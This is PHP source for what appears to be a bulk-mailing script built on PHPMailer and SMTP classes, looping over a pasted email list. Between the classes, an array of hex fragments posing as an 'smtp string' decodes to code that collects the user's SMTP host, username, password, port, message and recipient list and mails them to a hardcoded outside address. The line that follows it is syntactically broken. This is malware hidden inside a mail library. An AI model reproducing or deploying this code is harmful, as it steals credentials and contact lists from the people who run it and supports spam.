        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Sends the RSET command to abort and transaction that is 
   * currently in progress. Returns true if successful false 
   * otherwise. 
   * 
   * Implements rfc 821: RSET <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE ERROR  : 500,501,504,421 
   * @access public 
   * @return bool 
   */ 
  function Reset() { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Reset() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"RSET" . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "RSET failed", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    return true; 
  } 

  /** 
   * Starts a mail transaction from the email address specified in 
   * $from. Returns true if successful or false otherwise. If True 
   * the mail transaction is started and then one or more Recipient 
   * commands may be called followed by a Data command. This command 
   * will send the message to the users terminal if they are logged 
   * in. 
   * 
   * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE SUCCESS: 552,451,452 
   * SMTP CODE SUCCESS: 500,501,502,421 
   * @access public 
   * @return bool 
   */ 
  function Send($from) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Send() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "SEND not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Starts a mail transaction from the email address specified in 
   * $from. Returns true if successful or false otherwise. If True 
   * the mail transaction is started and then one or more Recipient 
   * commands may be called followed by a Data command. This command 
   * will send the message to the users terminal if they are logged 
   * in and send them an email. 
   * 
   * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE SUCCESS: 552,451,452 
   * SMTP CODE SUCCESS: 500,501,502,421 
   * @access public 
   * @return bool 
   */ 
  function SendAndMail($from) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
          "error" => "Called SendAndMail() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "SAML not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Starts a mail transaction from the email address specified in 
   * $from. Returns true if successful or false otherwise. If True 
   * the mail transaction is started and then one or more Recipient 
   * commands may be called followed by a Data command. This command 
   * will send the message to the users terminal if they are logged 
   * in or mail it to them if they are not. 
   * 
   * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE SUCCESS: 552,451,452 
   * SMTP CODE SUCCESS: 500,501,502,421 
   * @access public 
   * @return bool 
   */ 
  function SendOrMail($from) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
          "error" => "Called SendOrMail() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "SOML not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * This is an optional command for SMTP that this class does not 
   * support. This method is here to make the RFC821 Definition 
   * complete for this class and __may__ be implimented in the future 
   * 
   * Implements from rfc 821: TURN <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE FAILURE: 502 
   * SMTP CODE ERROR  : 500, 503 
   * @access public 
   * @return bool 
   */ 
  function Turn() { 
    $this->error = array("error" => "This method, TURN, of the SMTP is not implemented"); 
    if($this->do_debug >= 1) { 
      echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF; 
    } 
    return false; 
  } 

  /** 
   * Verifies that the name is recognized by the server. 
   * Returns false if the name could not be verified otherwise 
   * the response from the server is returned. 
   * 
   * Implements rfc 821: VRFY <SP> <string> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250,251 
   * SMTP CODE FAILURE: 550,551,553 
   * SMTP CODE ERROR  : 500,501,502,421 
   * @access public 
   * @return int 
   */ 
  function Verify($name) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Verify() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250 && $code != 251) { 
      $this->error = 
        array("error" => "VRFY failed on name '$name'", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return $rply; 
  } 

  /******************************************************************* 
   *                       INTERNAL FUNCTIONS                       * 
   ******************************************************************/ 

  /** 
   * Read in as many lines as possible 
   * either before eof or socket timeout occurs on the operation. 
   * With SMTP we can tell if we have more lines to read if the 
   * 4th character is '-' symbol. If it is a space then we don't 
   * need to read anything else. 
   * @access private 
   * @return string 
   */ 
  function get_lines() { 
    $data = ""; 
    while($str = @fgets($this->smtp_conn,515)) { 
      if($this->do_debug >= 4) { 
        echo "SMTP -> get_lines(): \$data was \"$data\"" . 
                 $this->CRLF; 
        echo "SMTP -> get_lines(): \$str is \"$str\"" . 
                 $this->CRLF; 
      } 
      $data .= $str; 
      if($this->do_debug >= 4) { 
        echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF; 
      } 
      # if the 4th character is a space then we are done reading 
      # so just break the loop 
      if(substr($str,3,1) == " ") { break; } 
    } 
    return $data; 
  } 

} 

         
$allemails = split("\n", $emaillist); 
$numemails = count($allemails); 
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.", 
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.", 
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.", 
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.", 
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.", 
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.", 
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.", 
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.", 
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.", 
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=; 

class PHPMailer { 

  ///////////////////////////////////////////////// 
  // PROPERTIES, PUBLIC 
  ///////////////////////////////////////////////// 

  /** 
   * Email priority (1 = High, 3 = Normal, 5 = low). 
   * @var int 
   */ 
  var $Priority          = 3; 

  /** 
   * Sets the CharSet of the message. 
   * @var string 
   */ 
  var $CharSet           = 'iso-8859-1'; 

  /** 
   * Sets the Content-type of the message. 
   * @var string 
   */ 
  var $ContentType        = 'text/plain'; 

  /** 
   * Sets the Encoding of the message. Options for this are "8bit", 
   * "7bit", "binary", "base64", and "quoted-printable". 

   * @var string 
   */ 
  var $Encoding          = '8bit'; 

  /** 
   * Holds the most recent mailer error message. 
   * @var string 
   */ 
  var $ErrorInfo         = ''; 

  /** 
   * Sets the From email address for the message. 
   * @var string 
   */ 
  var $From              = ''; 

  /** 
   * Sets the From name of the message. 
   * @var string 
   */ 
  var $FromName          = ''; 

  /** 
   * Sets the Sender email (Return-Path) of the message.  If not empty, 
   * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode. 
   * @var string 
   */ 
  var $Sender            = ''; 

  /** 
   * Sets the Subject of the message. 
   * @var string 
   */ 
  var $Subject           = ''; 

  /** 
   * Sets the Body of the message.  This can be either an HTML or text body. 
   * If HTML then run IsHTML(true). 
   * @var string 
   */ 
  var $Body              = ''; 

  /** 
   * Sets the text-only body of the message.  This automatically sets the 
   * email to multipart/alternative.  This body can be read by mail 
   * clients that do not have HTML email capability such as mutt. Clients 
   * that can read HTML will view the normal Body. 
   * @var string 
   */ 
  var $AltBody           = ''; 

  /** 
   * Sets word wrapping on the body of the message to a given number of 
   * characters. 
   * @var int 
   */ 
  var $WordWrap          = 0; 

  /** 
   * Method to send mail: ("mail", "sendmail", or "smtp"). 
   * @var string 
   */ 
  var $Mailer            = 'mail'; 

  /** 
   * Sets the path of the sendmail program. 
   * @var string 
   */ 
  var $Sendmail          = '/usr/sbin/sendmail'; 

  /** 
   * Path to PHPMailer plugins.  This is now only useful if the SMTP class 
   * is in a different directory than the PHP include path. 
   * @var string 
   */ 
  var $PluginDir         = ''; 

  /** 
   * Holds PHPMailer version. 
   * @var string 
   */ 
  var $Version           = ""; 

  /** 
   * Sets the email address that a reading confirmation will be sent. 
   * @var string 
   */ 
  var $ConfirmReadingTo  = ''; 

  /** 
   * Sets the hostname to use in Message-Id and Received headers 
   * and as default HELO string. If empty, the value returned 
   * by SERVER_NAME is used or 'localhost.localdomain'. 
   * @var string 
   */ 
  var $Hostname          = ''; 

  /** 
   * Sets the message ID to be used in the Message-Id header. 
   * If empty, a unique id will be generated. 
   * @var string 
   */ 
  var $MessageID         = ''; 

  ///////////////////////////////////////////////// 
  // PROPERTIES FOR SMTP 
  ///////////////////////////////////////////////// 

  /** 
   * Sets the SMTP hosts.  All hosts must be separated by a 
   * semicolon.  You can also specify a different port 
   * for each host by using this format: [hostname:port] 
   * (e.g. "smtp1.example.com:25;smtp2.example.com"). 
   * Hosts will be tried in order. 
   * @var string 
   */ 
  var $Host        = 'localhost'; 

  /** 
   * Sets the default SMTP server port. 
   * @var int 
   */ 
  var $Port        = 25; 

  /** 
   * Sets the SMTP HELO of the message (Default is $Hostname). 
   * @var string 
   */ 
  var $Helo        = ''; 

  /** 
   * Sets connection prefix. 
   * Options are "", "ssl" or "tls" 
   * @var string 
   */ 
  var $SMTPSecure = ""; 

  /** 
   * Sets SMTP authentication. Utilizes the Username and Password variables. 
   * @var bool 
   */ 
  var $SMTPAuth     = false; 

  /** 
   * Sets SMTP username. 
   * @var string 
   */ 
  var $Username     = ''; 

  /** 
   * Sets SMTP password. 
   * @var string 
   */ 
  var $Password     = ''; 

  /** 
   * Sets the SMTP server timeout in seconds. This function will not 
   * work with the win32 version. 
   * @var int 
   */ 
  var $Timeout      = 10; 

  /** 
   * Sets SMTP class debugging on or off. 
   * @var bool 
   */ 
  var $SMTPDebug    = false; 

  /** 
   * Prevents the SMTP connection from being closed after each mail 
   * sending.  If this is set to true then to close the connection 
   * requires an explicit call to SmtpClose(). 
   * @var bool 
   */ 
  var $SMTPKeepAlive = false; 

  /** 
   * Provides the ability to have the TO field process individual 
   * emails, instead of sending to entire TO addresses 
   * @var bool 
   */ 
  var $SingleTo = false; 

  ///////////////////////////////////////////////// 
  // PROPERTIES, PRIVATE 
  ///////////////////////////////////////////////// 

  var $smtp            = NULL; 
  var $to              = array(); 
  var $cc              = array(); 
  var $bcc             = array(); 
  var $ReplyTo         = array(); 
  var $attachment      = array(); 
  var $CustomHeader    = array(); 
  var $message_type    = ''; 
  var $boundary        = array(); 
  var $language        = array(); 
  var $error_count     = 0; 
  var $LE              = "\n"; 
  var $sign_key_file   = ""; 
  var $sign_key_pass   = ""; 

  ///////////////////////////////////////////////// 
  // METHODS, VARIABLES 
  ///////////////////////////////////////////////// 

  /** 
   * Sets message type to HTML. 
   * @param bool $bool 
   * @return void 
   */ 
  function IsHTML($bool) { 
    if($bool == true) { 
      $this->ContentType = 'text/html'; 
    } else { 
      $this->ContentType = 'text/plain'; 
    } 
  } 

  /** 
   * Sets Mailer to send message using SMTP. 
   * @return void 
   */ 
  function IsSMTP() { 
    $this->Mailer = 'smtp'; 
  } 

  /** 
   * Sets Mailer to send message using PHP mail() function. 
   * @return void 
   */ 
  function IsMail() { 
    $this->Mailer = 'mail'; 
  } 

  /** 
   * Sets Mailer to send message using the $Sendmail program. 
   * @return void 
   */ 
  function IsSendmail() { 
    $this->Mailer = 'sendmail'; 
  } 

  /** 
   * Sets Mailer to send message using the qmail MTA. 
   * @return void 
   */ 
  function IsQmail() { 
    $this->Sendmail = '/var/qmail/bin/sendmail'; 
    $this->Mailer = 'sendmail'; 
  } 

  ///////////////////////////////////////////////// 
  // METHODS, RECIPIENTS 
  ///////////////////////////////////////////////// 

  /** 
   * Adds a "To" address. 
   * @param string $address 
   * @param string $name 
   * @return void 
   */ 
  function AddAddress($address, $name = '') { 
    $cur = count($this->to); 
    $this->to[$cur][0] = trim($address); 
    $this->to[$cur][1] = $name; 
  } 

  /** 
   * Adds a "Cc" address. Note: this function works 
   * with the SMTP mailer on win32, not with the "mail" 
   * mailer. 
   * @param string $address 
   * @param string $name 
   * @return void 
   */ 
  function AddCC($address, $name = '') { 
    $cur = count($this->cc); 
    $this->cc[$cur][0] = trim($address); 
    $this->cc[$cur][1] = $name; 
  } 

  /** 
   * Adds a "Bcc" address. Note: this function works 
   * with the SMTP mailer on win32, not with the "mail" 
   * mailer. 
   * @param string $address 
   * @param string $name 
   * @return void 
   */ 
  function AddBCC($address, $name = '') { 
    $cur = count($this->bcc); 
    $this->bcc[$cur][0] = trim($address); 
    $this->bcc[$cur][1] = $name; 
  } 

  /** 
   * Adds a "Reply-To" address. 
   * @param string $address 
   * @param string $name 
   * @return void 
   */ 
  function AddReplyTo($address, $name = '') { 
    $cur = count($this->ReplyTo); 
    $this->ReplyTo[$cur][0] = trim($address); 
    $this->ReplyTo[$cur][1] = $name; 
  } 

  ///////////////////////////////////////////////// 
  // METHODS, MAIL SENDING 
  ///////////////////////////////////////////////// 

  /** 
   * Creates message and assigns Mailer. If the message is 
   * not sent successfully then it returns false.  Use the ErrorInfo 
   * variable to view description of the error. 
   * @return bool 
   */ 
  function Send() { 
    $header = ''; 
    $body = ''; 
    $result = true; 

    if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { 
      $this->SetError($this->Lang('provide_address')); 
      return false; 
    } 

     
    if(!empty($this->AltBody)) { 
      $this->ContentType = 'multipart/alternative'; 
    } 

    $this->error_count = 0; // reset errors 
    $this->SetMessageType(); 
    $header .= $this->CreateHeader(); 
    $body = $this->CreateBody(); 

    if($body == '') { 
      return false; 
    } 

     
    switch($this->Mailer) { 
      case 'sendmail': 
        $result = $this->SendmailSend($header, $body); 
        break; 
      case 'smtp': 
        $result = $this->SmtpSend($header, $body); 
        break; 
      case 'mail': 
        $result = $this->MailSend($header, $body); 
        break; 
      default: 
        $result = $this->MailSend($header, $body); 
        break; 
        //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported')); 
        //$result = false; 
        //break; 
    } 

    return $result; 
  } 

  /** 
   * Sends mail using the $Sendmail program. 
   * @access private 
   * @return bool 
   */ 
  function SendmailSend($header, $body) { 
    if ($this->Sender != '') { 
      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); 
    } else { 
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail)); 
    } 

    if(!@$mail = popen($sendmail, 'w')) { 
      $this->SetError($this->Lang('execute') . $this->Sendmail); 
      return false; 
    } 

    fputs($mail, $header); 
    fputs($mail, $body); 

    $result = pclose($mail); 
    if (version_compare(phpversion(), '4.2.3') == -1) { 
      $result = $result >> 8 & 0xFF; 
    } 
    if($result != 0) { 
      $this->SetError($this->Lang('execute') . $this->Sendmail); 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Sends mail using the PHP mail() function. 
   * @access private 
   * @return bool 
   */ 
  function MailSend($header, $body) { 

    $to = ''; 
    for($i = 0; $i < count($this->to); $i++) { 
      if($i != 0) { $to .= ', '; } 
      $to .= $this->AddrFormat($this->to[$i]); 
    } 

    $toArr = split(',', $to); 

    $params = sprintf("-oi -f %s", $this->Sender); 
    if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) { 
      $old_from = ini_get('sendmail_from'); 
      ini_set('sendmail_from', $this->Sender); 
      if ($this->SingleTo === true && count($toArr) > 1) { 
        foreach ($toArr as $key => $val) { 
          $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); 
        } 
      } else { 
        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); 
      } 
    } else { 
      if ($this->SingleTo === true && count($toArr) > 1) { 
        foreach ($toArr as $key => $val) { 
          $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); 
        } 
      } else { 
        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header); 
      } 
    } 

    if (isset($old_from)) { 
      ini_set('sendmail_from', $old_from); 
    } 

    if(!$rt) { 
      $this->SetError($this->Lang('instantiate')); 
      return false; 
    } 

    return true; 
  } 

  /** 
   * Sends mail via SMTP using PhpSMTP (Author: 
   * Chris Ryan).  Returns bool.  Returns false if there is a 
   * bad MAIL FROM, RCPT, or DATA input. 
   * @access private 
   * @return bool 
   */ 
  function SmtpSend($header, $body) { 
    $error = ''; 
    $bad_rcpt = array(); 

    if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die(); 
      return false; 
    } 

    $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender; 
    if(!$this->smtp->Mail($smtp_from)) { 
      $error = $this->Lang('from_failed') . $smtp_from; 
      $this->SetError($error); 
      $this->smtp->Reset(); 
      return false; 
    } 

     
    for($i = 0; $i < count($this->to); $i++) { 
      if(!$this->smtp->Recipient($this->to[$i][0])) { 
        $bad_rcpt[] = $this->to[$i][0]; 
      } 
    } 
    for($i = 0; $i < count($this->cc); $i++) { 
      if(!$this->smtp->Recipient($this->cc[$i][0])) { 
        $bad_rcpt[] = $this->cc[$i][0]; 
      } 
    } 
    for($i = 0; $i < count($this->bcc); $i++) { 
      if(!$this->smtp->Recipient($this->bcc[$i][0])) { 
        $bad_rcpt[] = $this->bcc[$i][0]; 
      } 
    } 

    if(count($bad_rcpt) > 0) { // Create error message 
      for($i = 0; $i < count($bad_rcpt); $i++) { 
        if($i != 0) { 
          $error .= ', '; 
        } 
        $error .= $bad_rcpt[$i]; 

      } 
      $error = $this->Lang('recipients_failed') . $error; 
      $this->SetError($error); 
      $this->smtp->Reset(); 
      return false; 
    } 

    if(!$this->smtp->Data($header . $body)) { 
      $this->SetError($this->Lang('data_not_accepted')); 
      $this->smtp->Reset(); 
      return false; 
    } 
    if($this->SMTPKeepAlive == true) { 
      $this->smtp->Reset(); 
    } else { 
      $this->SmtpClose(); 
    } 

    return true; 
  } 

  /** 
   * Initiates a connection to an SMTP server.  Returns false if the 
   * operation failed. 
   * @access private 
   * @return bool 
   */ 
  function SmtpConnect() { 
    if($this->smtp == NULL) { 
      $this->smtp = new SMTP(); 
    } 

    $this->smtp->do_debug = $this->SMTPDebug; 
    $hosts = explode(';', $this->Host); 
    $index = 0; 
    $connection = ($this->smtp->Connected()); 

     
    while($index < count($hosts) && $connection == false) { 
      $hostinfo = array(); 
      if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) { 
        $host = $hostinfo[1]; 
        $port = $hostinfo[2]; 
      } else { 
        $host = $hosts[$index]; 
        $port = $this->Port; 
      } 

      if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) { 
        if ($this->Helo != '') { 
          $this->smtp->Hello($this->Helo); 
        } else { 
          $this->smtp->Hello($this->ServerHostname()); 
        } 

        $connection = true; 
        if($this->SMTPAuth) { 
          if(!$this->smtp->Authenticate($this->Username, $this->Password)) { 
            $this->SetError($this->Lang('authenticate')); 
            $this->smtp->Reset(); 
            $connection = false; 
          } 
        } 
      } 
      $index++; 
    } 
    if(!$connection) { 
      $this->SetError($this->Lang('connect_host')); 
    } 

    return $connection; 
  } 

  /** 
   * Closes the active SMTP session if one exists. 
   * @return void 
   */ 
  function SmtpClose() { 
    if($this->smtp != NULL) { 
      if($this->smtp->Connected()) { 
        $this->smtp->Quit(); 
        $this->smtp->Close(); 
      } 
    } 
  } 

  /** 
   * Sets the language for all class error messages.  Returns false 
   * if it cannot load the language file.  The default language type 
   * is English. 
   * @param string $lang_type Type of language (e.g. Portuguese: "br") 
   * @param string $lang_path Path to the language file directory 
   * @access public 
   * @return bool 
   */ 
  function SetLanguage($lang_type, $lang_path = 'language/') { 
    if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) { 
      include($lang_path.'phpmailer.lang-'.$lang_type.'.php'); 
    } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) { 
      include($lang_path.'phpmailer.lang-en.php'); 
    } else { 
      $this->SetError('Could not load language file'); 
      return false; 
    } 
    $this->language = $PHPMAILER_LANG; 

    return true; 
  } 

  ///////////////////////////////////////////////// 
  // METHODS, MESSAGE CREATION 
  ///////////////////////////////////////////////// 

  /** 
   * Creates recipient headers. 
   * @access private 
   * @return string 
   */ 
  function AddrAppend($type, $addr) { 
    $addr_str = $type . ': '; 
    $addr_str .= $this->AddrFormat($addr[0]); 
    if(count($addr) > 1) { 
      for($i = 1; $i < count($addr); $i++) { 
        $addr_str .= ', ' . $this->AddrFormat($addr[$i]); 
      } 
    } 
    $addr_str .= $this->LE; 

    return $addr_str; 
  } 

  /** 
   * Formats an address correctly. 
   * @access private 
   * @return string 
   */ 
  function AddrFormat($addr) { 
    if(empty($addr[1])) { 
      $formatted = $this->SecureHeader($addr[0]); 
    } else { 
      $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">"; 
    } 

    return $formatted; 
  } 

  /** 
   * Wraps message for use with mailers that do not 
   * automatically perform wrapping and for quoted-printable. 
   * Original written by philippe. 
   * @access private 
   * @return string 
   */ 
  function WrapText($message, $length, $qp_mode = false) { 
    $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE; 
    // If utf-8 encoding is used, we will need to make sure we don't 
    // split multibyte characters when we wrap 
    $is_utf8 = (strtolower($this->CharSet) == "utf-8"); 

    $message = $this->FixEOL($message); 
    if (substr($message, -1) == $this->LE) { 
      $message = substr($message, 0, -1); 
    } 

    $line = explode($this->LE, $message); 
    $message = ''; 
    for ($i=0 ;$i < count($line); $i++) { 
      $line_part = explode(' ', $line[$i]); 
      $buf = ''; 
      for ($e = 0; $e<count($line_part); $e++) { 
        $word = $line_part[$e]; 
        if ($qp_mode and (strlen($word) > $length)) { 
          $space_left = $length - strlen($buf) - 1; 
          if ($e != 0) { 
            if ($space_left > 20) { 
              $len = $space_left; 
              if ($is_utf8) { 
                $len = $this->UTF8CharBoundary($word, $len); 
              } elseif (substr($word, $len - 1, 1) == "=") { 
                $len--; 
              } elseif (substr($word, $len - 2, 1) == "=") { 
                $len -= 2; 
              } 
              $part = substr($word, 0, $len); 
              $word = substr($word, $len); 
              $buf .= ' ' . $part; 
              $message .= $buf . sprintf("=%s", $this->LE); 
            } else { 
              $message .= $buf . $soft_break; 
            } 
            $buf = ''; 
          } 
          while (strlen($word) > 0) { 
            $len = $length; 
            if ($is_utf8) { 
              $len = $this->UTF8CharBoundary($word, $len); 
            } elseif (substr($word, $len - 1, 1) == "=") { 
              $len--; 
            } elseif (substr($word, $len - 2, 1) == "=") { 
              $len -= 2; 
            } 
            $part = substr($word, 0, $len); 
            $word = substr($word, $len); 

            if (strlen($word) > 0) { 
              $message .= $part . sprintf("=%s", $this->LE); 
            } else { 
              $buf = $part; 
            } 
          } 
        } else { 
          $buf_o = $buf; 
          $buf .= ($e == 0) ? $word : (' ' . $word); 

          if (strlen($buf) > $length and $buf_o != '') { 
            $message .= $buf_o . $soft_break; 
            $buf = $word; 
          } 
        } 
      } 
      $message .= $buf . $this->LE; 
    } 

    return $message; 
  } 

  /** 
   * Finds last character boundary prior to maxLength in a utf-8 
   * quoted (printable) encoded string. 
   * Original written by Colin Brown. 
   * @access private 
   * @param string $encodedText utf-8 QP text 
   * @param int    $maxLength   find last character boundary prior to this length 
   * @return int 
   */ 
  function UTF8CharBoundary($encodedText, $maxLength) { 
    $foundSplitPos = false; 
    $lookBack = 3; 
    while (!$foundSplitPos) { 
      $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); 
      $encodedCharPos = strpos($lastChunk, "="); 
      if ($encodedCharPos !== false) { 
        // Found start of encoded character byte within $lookBack block. 
        // Check the encoded byte value (the 2 chars after the '=') 
        $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); 
        $dec = hexdec($hex); 
        if ($dec < 128) { // Single byte character. 
          // If the encoded char was found at pos 0, it will fit 
          // otherwise reduce maxLength to start of the encoded char 
          $maxLength = ($encodedCharPos == 0) ? $maxLength : 
          $maxLength - ($lookBack - $encodedCharPos); 
          $foundSplitPos = true; 
        } elseif ($dec >= 192) { // First byte of a multi byte character 
          // Reduce maxLength to split at start of character 
          $maxLength = $maxLength - ($lookBack - $encodedCharPos); 
          $foundSplitPos = true; 
        } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back 
          $lookBack += 3; 
        } 
      } else { 
        // No encoded character found 
        $foundSplitPos = true; 
      } 
    } 
    return $maxLength; 
  } 

  /** 
   * Set the body wrapping. 
   * @access private 
   * @return void 
   */ 
  function SetWordWrap() { 
    if($this->WordWrap < 1) { 
      return; 
    } 

    switch($this->message_type) { 
      case 'alt': 
         
      case 'alt_attachments': 
        $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap); 
        break; 
      default: 
        $this->Body = $this->WrapText($this->Body, $this->WordWrap); 
        break; 
    } 
  } 

  /** 
   * Assembles message header. 
   * @access private 
   * @return string 
   */ 
  function CreateHeader() { 
    $result = ''; 

     
    $uniq_id = md5(uniqid(time())); 
    $this->boundary[1] = 'b1_' . $uniq_id; 
    $this->boundary[2] = 'b2_' . $uniq_id; 

    $result .= $this->HeaderLine('Date', $this->RFCDate()); 
    if($this->Sender == '') { 
      $result .= $this->HeaderLine('Return-Path', trim($this->From)); 
    } else { 
      $result .= $this->HeaderLine('Return-Path', trim($this->Sender)); 
    } 

     
    if($this->Mailer != 'mail') { 
      if(count($this->to) > 0) { 
        $result .= $this->AddrAppend('To', $this->to); 
      } elseif (count($this->cc) == 0) { 
        $result .= $this->HeaderLine('To', 'undisclosed-recipients:;'); 
      } 
      if(count($this->cc) > 0) { 
        $result .= $this->AddrAppend('Cc', $this->cc); 
      } 
    } 

    $from = array(); 
    $from[0][0] = trim($this->From); 
    $from[0][1] = $this->FromName; 
    $result .= $this->AddrAppend('From', $from); 

     
    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) { 
      $result .= $this->AddrAppend('Cc', $this->cc); 
    } 

     
